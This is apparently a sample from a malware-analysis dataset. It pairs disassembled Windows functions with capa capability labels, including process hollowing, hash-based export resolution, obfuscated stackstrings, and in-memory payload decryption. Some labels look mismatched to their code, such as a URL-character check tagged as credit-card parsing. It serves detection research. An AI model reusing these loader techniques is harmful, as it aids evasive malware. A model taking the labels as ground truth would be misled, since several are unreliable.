joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2b368acf0
Capabilities:
Process ghostly hollowing

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb0
lea rbp, [rsp + 0x90]
mov r12, rcx
lea rdi, [rsp + 0x80]
mov qword [rsp + 0x80], rbp
test rcx, rcx
je 0x2b368af10
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x60], rsi
cmp rbx, 0xe
ja 0x2b368af30
mov rcx, qword [rsp + 0x80]
mov rax, rsi
cmp rsi, 1
je 0x2b368af20
test rsi, rsi
jne 0x2b368aef0
xor r8d, r8d
mov qword [rsp + 0x88], rax
lea rbx, str.___
mov word [rcx + rax*2], r8w
mov rcx, rbx
call sub.msvcrt.dll_wcslen
mov r9, rbx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, rdi
call fcn.2b3735000
lea rbx, [rsp + 0x70]
lea rdx, [rax + 0x10]
mov qword [rsp + 0x60], rbx
mov rcx, qword [rax]
cmp rcx, rdx
je 0x2b368af60
mov qword [rsp + 0x60], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x70], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x68], rcx
mov qword [rax], rdx
mov rcx, qword [rsp + 0x80]
xor edx, edx
mov qword [rax + 8], 0
mov word [rax + 0x10], dx
cmp rcx, rbp
je 0x2b368adf2
mov rax, qword [rsp + 0x90]
lea rdx, [rax + rax + 2]
call fcn.2b37469b0
lea rsi, [rsp + 0x40]
mov rdx, qword [rsp + 0x60]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov rcx, rsi
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov qword [rsp + 0x80], 0
mov r8, rdi
lea rcx, [rsp + 0x38]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x98], 0
mov edx, 0xc0110000
mov qword [rsp + 0x88], 0
mov qword [rsp + 0xa0], 0
mov qword [rsp + 0xa8], 0
mov dword [rsp + 0x80], 0x30
mov dword [rsp + 0x98], 0x40
mov qword [rsp + 0x90], rsi
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x38], 0xffffffffffffffff
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
call qword [sym.imp.ntdll.dll_NtOpenFile]
mov rcx, qword [rsp + 0x60]
test eax, eax
mov r12, 0xffffffffffffffff
cmovns r12, qword [rsp + 0x38]
cmp rcx, rbx
je 0x2b368aedc
mov rax, qword [rsp + 0x70]
lea rdx, [rax + rax + 2]
call fcn.2b37469b0
mov rax, r12
add rsp, 0xb0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x80]
jmp 0x2b368ad5d
lea rcx, [0x2b374e850]
call fcn.2b37479c0
nop dword [rax]
movzx edx, word [r12]
mov word [rcx], dx
jmp 0x2b368ad5d
mov rcx, rdi
lea rdx, [rsp + 0x60]
xor r8d, r8d
call fcn.2b3737610
mov qword [rsp + 0x80], rax
mov rcx, rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x90], rax
jmp 0x2b368ad4a
movdqu xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x2b368adb9
Function at 0x2b36981c0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.2b36a5f90
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.2b36a5f90
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop

Function at 0x2b3698b32
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2b377e208]
test eax, eax
je 0x2b3698bca
lea rax, [0x2b377e1e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2b377e210]
mov qword [rbp - 8], rax
jmp 0x2b3698bae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2b3698ba2
cmp qword [rbp - 0x10], 0
je 0x2b3698ba2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2b3698b68
lea rax, [0x2b377e1e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2b3698bcb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2b3698cd0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2b3698cf8
mov eax, 0
jmp 0x2b3698d46
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2b3698d21
mov eax, 0
jmp 0x2b3698d46
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2b3698d41
mov eax, 0
jmp 0x2b3698d46
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2b3698d4c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2b3698dca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2b3698dc1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2b3698dc1
mov rax, qword [rbp - 8]
jmp 0x2b3698ddf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2b3698d94
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x2b36a81c0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x2b36a82d2
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x2b36a82aa
add rax, 1
cmp rax, 0x6b
je 0x2b36a82c7
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x2b36a82a0
cmp edx, 0x6a
je 0x2b36a82c7
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x2b36a82bb

Function at 0x2b36a8670
Capabilities:
Allocate thread local storage

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x28
lea rsi, [0x2b377edd0]
mov rcx, rsi
call fcn.2b36a7f30
lea r13, [rax + 8]
mov r12, rax
mov rcx, r13
call fcn.2b36a7740
mov ebx, dword [0x2b377edd0]
test ebx, ebx
jne 0x2b36a86e0
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x2b3749158], eax
cmp eax, 0xffffffff
je 0x2b3748206
mov dword [0x2b377edd0], 1
mov rcx, r13
call fcn.2b36a7a60
test r12, r12
je 0x2b36a8712
mov rcx, r12
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
jmp fcn.2b36a82f0
cmp ebx, 1
je 0x2b36a86c1
mov ecx, 2
call qword [fcn.2b36a5f90]
mov r9d, ebx
mov r8, rsi
lea rdx, str._once__p_is__d_n
mov rcx, rax
call fcn.2b36a7f00
mov rcx, r13
call fcn.2b36a7a60
test r12, r12
jne 0x2b36a86ce
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
ret
call sub.msvcrt.dll_abort
nop
Function at 0x2b370cf20
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x2b370cf47
call rbp
cmp dword [rax], 4
jne 0x2b370cf64
mov rcx, rdi
call fcn.2b370cd50
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x2b370cf40
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x2b3740320
Capabilities:
Encode data using xor

Disassembly:
mov r11, rdx
mov rax, rcx
mov r10, rdx
and r11, 0xfffffffffffffff8
add r11, rcx
movabs rcx, 0xc6a4a7935bd1e995
imul r10, rcx
xor r10, r8
cmp rax, r11
je 0x2b3740378
nop word cs:[rax + rax]
mov r9, qword [rax]
add rax, 8
imul r9, rcx
mov r8, r9
shr r8, 0x2f
xor r8, r9
imul r8, rcx
xor r8, r10
mov r10, r8
imul r10, rcx
cmp r11, rax
jne 0x2b3740350
and edx, 7
je 0x2b37403ad
sub edx, 1
movsxd rax, edx
xor edx, edx
nop dword [rax]
movzx ecx, byte [r11 + rax]
shl rdx, 8
sub rax, 1
add rdx, rcx
test eax, eax
jns 0x2b3740388
xor rdx, r10
movabs r10, 0xc6a4a7935bd1e995
imul r10, rdx
movabs rax, 0xc6a4a7935bd1e995
mov rdx, r10
shr rdx, 0x2f
xor rdx, r10
imul rdx, rax
mov rax, rdx
shr rax, 0x2f
xor rax, rdx
ret
Function at 0x180006220
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd rax, dword [rcx + 0x3c]
xor r9d, r9d
mov ebx, edx
mov r11, rcx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov edi, dword [r8 + 0x1c]
mov esi, dword [r8 + 0x24]
add rdi, rcx
mov r10d, dword [r8 + 0x20]
add rsi, rcx
mov r8d, dword [r8 + 0x18]
add r10, rcx
test r8d, r8d
je 0x1800062b6
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
mov edx, 0xedec4
add rax, r11
movzx ecx, byte [rax]
test cl, cl
je 0x1800062a6
nop dword [rax]
nop word [rax + rax]
movzx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x13cc4
movzx ecx, byte [rax]
test cl, cl
jne 0x180006290
cmp ebx, edx
je 0x1800062c8
inc r9d
add r10, 4
cmp r9d, r8d
jb 0x180006270
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
movzx ecx, word [rsi + r9*2]
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov eax, dword [rdi + rcx*4]
mov rdi, qword [rsp + 0x18]
add rax, r11
ret
Function at 0x1800062f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbx
push r12
sub rsp, 0x98
mov rax, qword [0x18001c018]
xor rax, rsp
mov qword [rsp + 0x80], rax
xor r12d, r12d
mov dword [rsp + 0x68], 0x730075
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], r12
mov word [rsp + 0x7c], r12w
mov dword [rsp + 0x6c], 0x720065
mov dword [rsp + 0x70], 0x320033
mov dword [rsp + 0x74], 0x64002e
mov dword [rsp + 0x78], 0x6c006c
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1800065a6
mov qword [rsp + 0xb0], rbp
mov edx, 0x1a743f8c
mov qword [rsp + 0xc0], rdi
mov rcx, rax
mov qword [rsp + 0xc8], r14
call fcn.180006220
mov edx, 0x6ecc7e4c
mov rcx, rbx
mov rdi, rax
call fcn.180006220
mov edx, 0xfdf5c54c
mov rcx, rbx
mov rbp, rax
call fcn.180006220
mov r14, rax
test rdi, rdi
je 0x18000658e
test rbp, rbp
je 0x18000658e
test rax, rax
je 0x18000658e
mov dword [rsp + 0x28], 4
lea r9, [rsp + 0x60]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x60], 0x1e3d5
lea rcx, [r12 - 1]
call fcn.180006620
test eax, eax
js 0x18000658e
mov qword [rsp + 0xb8], rsi
xor ecx, ecx
mov qword [rsp + 0x90], r15
call rdi
mov rdx, qword [0x18001ca20]
lea rdi, [0x18001ca30]
mov r15, rax
mov ecx, r12d
test rdx, rdx
je 0x18000646f
cmp rdx, 0x10
jb 0x18000646f
movdqa xmm1, xmmword [0x180019720]
mov r8, rdx
movdqa xmm2, xmmword [0x180019730]
and r8, 0xfffffffffffffff0
movdqa xmm3, xmmword [str._n_n_n_n_n_n_n_n_n_n_n_n_n_n_n_neeeeeeeeeeeeeeee]
nop word [rax + rax]
movdqu xmm0, xmmword [rcx + rdi]
psubb xmm0, xmm1
pxor xmm0, xmm2
psubb xmm0, xmm3
movdqu xmmword [rcx + rdi], xmm0
add rcx, 0x10
cmp rcx, r8
jb 0x180006450
cmp rcx, rdx
jae 0x180006495
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rcx + rdi]
sub al, 0x65
xor al, 0xba
sub al, 0xa
mov byte [rcx + rdi], al
inc rcx
cmp rcx, rdx
jb 0x180006480
mov rsi, qword [rsp + 0x50]
lea rcx, [0x18003ae04]
mov ebx, r12d
lea rax, [rsi + 0x1e3d4]
cmp rsi, rcx
ja 0x1800064b5
cmp rax, rdi
jae 0x1800064d0
mov r8d, 0x1e3d5
mov rdx, rdi
mov rcx, rsi
call fcn.180007e10
inc ebx
cmp ebx, 0x1e3d5
jb 0x1800064c6
movsxd rax, ebx
cmp rax, 0x1e3d5
jae 0x1800064f6
lea rcx, [rax + rsi]
sub rdi, rsi
movzx eax, byte [rdi + rcx]
inc ebx
mov byte [rcx], al
lea rcx, [rcx + 1]
cmp ebx, 0x1e3d5
jb 0x1800064e2
lea rax, [rsp + 0x58]
mov r9d, 0x20
lea r8, [0x18001ca20]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffffffffffff
call fcn.18000662f
mov rsi, qword [rsp + 0xb8]
test eax, eax
jns 0x180006548
mov r9d, 0x8000
lea r8, [0x18001ca20]
lea rdx, [rsp + 0x50]
mov rcx, 0xffffffffffffffff
call fcn.18000663e
mov r8, qword [rsp + 0x50]
xor r9d, r9d
mov dword [rsp + 0x48], 0x80
xor edx, edx
mov dword [rsp + 0x40], 1
mov rcx, r15
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call rbp
mov rdx, r15
xor ecx, ecx
call r14
mov r15, qword [rsp + 0x90]
mov rdi, qword [rsp + 0xc0]
mov rbp, qword [rsp + 0xb0]
mov r14, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.180006660
add rsp, 0x98
pop r12
pop rbx
ret
Function at 0x1800113b0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800113d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800113d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x4503c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x45058e
sub rsp, 0x68
mov qword [rsp + 0x60], rbp
lea rbp, [rsp + 0x60]
mov rax, qword [rsp + 0x70]
test rax, rax
je 0x450548
mov ecx, dword [rax + 0x18]
mov qword [rsp], rax
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 8], rdx
mov dword [rsp + 0x10], ecx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], 0
movzx ebx, byte [rsp + 0x88]
mov byte [rsp + 0x28], bl
call fcn.0044fca0
movsxd rax, dword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x70]
mov edx, dword [rcx + 0x1c]
mov qword [rsp], rcx
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 8], rcx
mov dword [rsp + 0x10], edx
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x20], 0
movzx edx, byte [rsp + 0x88]
mov byte [rsp + 0x28], dl
call fcn.0044fca0
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
cmp rcx, 0xffffffffffffffff
jne 0x4504bc
lea rax, [0x006bd1cd]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov dword [rsp + 0xa0], 0
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
cmp eax, 0xffffffff
je 0x45048c
mov rdx, qword [rsp + 0x78]
mov rbx, qword [rdx + 0x38]
mov rsi, qword [rdx + 0x30]
cmp rcx, rbx
jge 0x45048c
mov rdi, qword [rdx]
mov rdx, qword [rdx + 8]
jae 0x450582
mov ebx, dword [rsi + rcx*4]
cmp rbx, rdx
jae 0x450578
mov dword [rsp + 0x3c], eax
lea rax, [rdi + rbx]
mov qword [rsp + 0x48], rax
mov qword [rsp], rax
call fcn.0044dfa0
mov rax, qword [rsp + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rax
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0xa0], eax
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
lea rax, [0x006bd1cd]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov dword [rsp + 0xa0], 0
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov eax, ebx
mov rcx, rdx
call fcn.00462910
mov rax, rcx
mov rcx, rbx
call fcn.00462910
nop
call fcn.0045ff20
jmp fcn.004503c0
Function at 0x450620
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x450782
sub rsp, 0x68
mov qword [rsp + 0x60], rbp
lea rbp, [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax + 0x14]
mov qword [rsp], rax
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 8], rdx
mov dword [rsp + 0x10], ecx
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x18], rcx
mov rbx, qword [rsp + 0x88]
mov qword [rsp + 0x20], rbx
mov byte [rsp + 0x28], 1
call fcn.0044fca0
mov eax, dword [rsp + 0x30]
test eax, 7
jne 0x4506a2
mov dword [rsp + 0x90], eax
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov dword [rsp + 0x3c], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp], rax
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 8], rcx
call fcn.00450260
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x10]
mov qword [rsp + 0x58], rcx
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rdx]
mov qword [rsp + 0x48], rbx
movsxd rdx, dword [rdx + 0x14]
mov qword [rsp + 0x40], rdx
call fcn.00436c60
lea rax, [0x006c0622]
mov qword [rsp], rax
mov qword [rsp + 8], 0x10
call fcn.00437610
mov rax, qword [rsp + 0x58]
mov qword [rsp], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 8], rax
call fcn.00437610
call fcn.00436eb0
mov rax, qword [rsp + 0x48]
mov qword [rsp], rax
call fcn.004374a0
call fcn.00436eb0
mov rax, qword [rsp + 0x80]
mov qword [rsp], rax
call fcn.004374a0
call fcn.00436eb0
mov rax, qword [rsp + 0x40]
mov qword [rsp], rax
call fcn.004374a0
call fcn.00436eb0
mov eax, dword [rsp + 0x3c]
movsxd rcx, eax
mov qword [rsp], rcx
call fcn.00437430
call fcn.00436f00
call fcn.00436cf0
mov eax, dword [rsp + 0x3c]
jmp 0x450691
call fcn.0045ff20
jmp fcn.00450620
Function at 0x458580
Capabilities:
Access peb ldr_data

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x458660
sub rsp, 0x60
mov qword [rsp + 0x58], rbp
lea rbp, [rsp + 0x58]
mov rax, qword gs:[0x28]
mov rax, qword [rax]
mov qword [rsp + 8], 0
mov qword [rsp + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x18], xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm0
lea rcx, [0x0045f780]
mov qword [rsp + 0x10], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x18], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 8]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x10]
mov qword [rsp], rax
call fcn.0045fdd0
mov rax, qword [rsp + 8]
mov qword [rsp + 0x88], rax
mov rbp, qword [rsp + 0x58]
add rsp, 0x60
ret
call fcn.0045ff20
jmp fcn.00458580
Function at 0x461ec0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
mov rax, qword [0x009010a0]
mov rcx, qword [rsp + 8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x10]
lea rax, [rdx + rax*8]
xor rcx, rax
movabs rax, 0xea38ec9079f01541
imul rax, rcx
rol rax, 0x1f
movabs rcx, 0x2723a30d96da1399
imul rcx, rax
mov rax, rcx
shr rcx, 0x1d
xor rax, rcx
movabs rcx, 0x83cf8eadf876d2d7
imul rcx, rax
mov rax, rcx
shr rcx, 0x20
xor rax, rcx
mov qword [rsp + 0x18], rax
ret
cmp byte [0x00900d21], 0
je 0x461efd
mov rax, qword [rsp + 8]
movq xmm0, qword [rsp + 0x10]
pinsrq xmm0, qword [rax], 1
aesenc xmm0, xmmword [0x00901300]
aesenc xmm0, xmmword [0x00901310]
aesenc xmm0, xmmword [0x00901320]
movq qword [rsp + 0x18], xmm0
ret
jmp 0x409190

Function at 0x46e8d0
Capabilities:
Encode data using base64

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
mov rdx, qword [rsp + 0x20]
mov rbx, qword [rdx + 8]
lea rsi, [rbx + 0x2e]
imul rsi, rsi, 0xffffffffffffffe4
movabs rax, 0x5816058160581606
mov rcx, rdx
imul rsi
sar rsi, 0x3f
sar rdx, 5
sub rdx, rsi
lea rsi, [rdx + 0x15c]
sar rsi, 0x3f
shr rsi, 0x3d
lea rdx, [rsi + rdx]
lea rdx, [rdx + 0x15c]
sar rdx, 3
cmp rdx, 0x57
jae 0x46e9a8
lea rsi, [rdx + rdx*2]
lea rdi, [0x008a6a80]
mov r8, qword [rdi + rsi*8 + 8]
lea r9, [r8 + rbx]
lea r9, [r9 + 0x40]
cmp r9, 0xffffffffffffffc4
jge 0x46e951
inc rdx
jmp 0x46e928
cmp r9, 0xffffffffffffffe0
jle 0x46e95c
dec rdx
jmp 0x46e928
mov rbx, qword [rdi + rsi*8]
mov rax, qword [rcx]
mov rsi, rdx
mul rbx
shr rax, 0x3f
add rdx, rax
mov qword [rcx], rdx
mov rdx, qword [rcx + 8]
lea rdx, [rdx + r8]
lea rdx, [rdx + 0x40]
mov qword [rcx + 8], rdx
mov rcx, rsi
shl rsi, 3
lea rdx, [rsi - 0x15c]
neg rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rcx
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov rax, rdx
mov ecx, 0x57
call fcn.00462910
nop
int3
Function at 0x5585b0
Capabilities:
Parse credit card information

Disassembly:
movzx eax, byte [rsp + 8]
cmp al, 0x61
jb 0x5585c3
cmp al, 0x7a
ja 0x5585c3
mov byte [rsp + 0x18], 0
ret
cmp al, 0x41
jb 0x5585cb
cmp al, 0x5a
jbe 0x5585bd
cmp al, 0x30
jb 0x5585d3
cmp al, 0x39
jbe 0x5585bd
mov rcx, qword [rsp + 0x10]
cmp rcx, 3
jne 0x558733
cmp al, 0x2c
ja 0x558712
lea edx, [rax - 0x21]
cmp dl, 1
ja 0x5585f8
mov byte [rsp + 0x18], 0
ret
cmp al, 0x24
je 0x5585f2
lea edx, [rax - 0x26]
cmp dl, 6
jbe 0x5585f2
cmp al, 0x2f
ja 0x5586dc
cmp al, 0x26
ja 0x5586b5
cmp al, 0x24
jne 0x5586ab
cmp rcx, 2
jg 0x558670
cmp rcx, 1
je 0x558668
cmp rcx, 2
jne 0x55864b
cmp al, 0x2f
jne 0x55863c
mov eax, 1
mov byte [rsp + 0x18], al
ret
cmp al, 0x3b
je 0x558632
cmp al, 0x2c
je 0x558632
cmp al, 0x3f
sete al
jmp 0x558637
cmp rcx, 7
jne 0x558662
cmp al, 0x21
jne 0x55865b
mov byte [rsp + 0x18], 0
ret
add eax, 0xffffffd8
cmp al, 2
jbe 0x558655
mov byte [rsp + 0x18], 1
ret
cmp al, 0x3f
sete byte [rsp + 0x18]
ret
cmp rcx, 5
jne 0x558693
cmp al, 0x40
jne 0x558684
mov eax, 1
mov byte [rsp + 0x18], al
ret
cmp al, 0x2f
je 0x55867a
cmp al, 0x3f
je 0x55867a
cmp al, 0x3a
sete al
jmp 0x55867f
cmp rcx, 6
je 0x5586a5
cmp rcx, 7
jne 0x55864b
mov byte [rsp + 0x18], 0
ret
mov byte [rsp + 0x18], 1
ret
cmp al, 0x26
je 0x55861c
jmp 0x55864b
lea edx, [rax - 0x2b]
cmp dl, 1
jbe 0x55861c
lea edx, [rax - 0x2d]
cmp dl, 1
ja 0x5586cf
mov byte [rsp + 0x18], 0
ret
cmp al, 0x2f
je 0x55861c
jmp 0x55864b
cmp al, 0x3d
ja 0x5586f9
lea edx, [rax - 0x3a]
cmp dl, 1
jbe 0x55861c
cmp al, 0x3d
je 0x55861c
jmp 0x55864b
lea edx, [rax - 0x3f]
cmp dl, 1
jbe 0x55861c
cmp al, 0x5f
je 0x5586c9
cmp al, 0x7e
je 0x5586c9
jmp 0x55864b
lea edx, [rax - 0x3a]
cmp dl, 4
jbe 0x5585f2
cmp al, 0x5b
je 0x5585f2
cmp al, 0x5d
je 0x5585f2
jmp 0x558604
